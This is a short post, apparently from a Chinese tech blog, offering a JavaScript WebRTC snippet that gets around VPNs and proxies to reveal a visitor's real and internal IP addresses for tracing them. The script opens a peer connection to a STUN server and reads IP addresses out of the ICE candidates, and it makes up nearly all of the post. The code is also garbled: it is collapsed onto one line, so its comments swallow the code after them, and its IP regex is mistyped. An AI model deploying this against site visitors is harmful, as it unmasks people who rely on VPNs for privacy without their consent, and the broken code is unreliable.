JS绕过代理、VPN获取真实IP及内网IP,逆向追踪的实现方法

//get the IP addresses associated with an accountfunction getIPs(callback){  var ip_dups = {};  //compatibility for firefox and chrome  var RTCPeerConnection = window.RTCPeerConnection    || window.mozRTCPeerConnection    || window.webkitRTCPeerConnection;  var mediaConstraints = {    optional: [{RtpDataChannels: true}]  };  //firefox already has a default stun server in about:config  //  media.peerconnection.default_iceservers =  //  [{"url": "stun:stun.services.mozilla.com"}]  var servers = undefined;  //add same stun server for chrome  if(window.webkitRTCPeerConnection)    servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};  //construct a new RTCPeerConnection  var pc = new RTCPeerConnection(servers, mediaConstraints);  //listen for candidate events  pc.onicecandidate = function(ice){    //skip non-candidate events    if(ice.candidate){      //match just the IP address      var ip_regex = /([0-9]{1,3}(/.[0-9]{1,3}){3})/      var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];      //remove duplicates      if(ip_dups[ip_addr] === undefined)        callback(ip_addr);      ip_dups[ip_addr] = true;    }  };  //create a bogus data channel  pc.createDataChannel("");  //create an offer sdp  pc.createOffer(function(result){    //trigger the stun server request    pc.setLocalDescription(result, function(){});  }, function(){});}//Test: Print the IP addresses into the consolegetIPs(function(ip){console.log(ip);});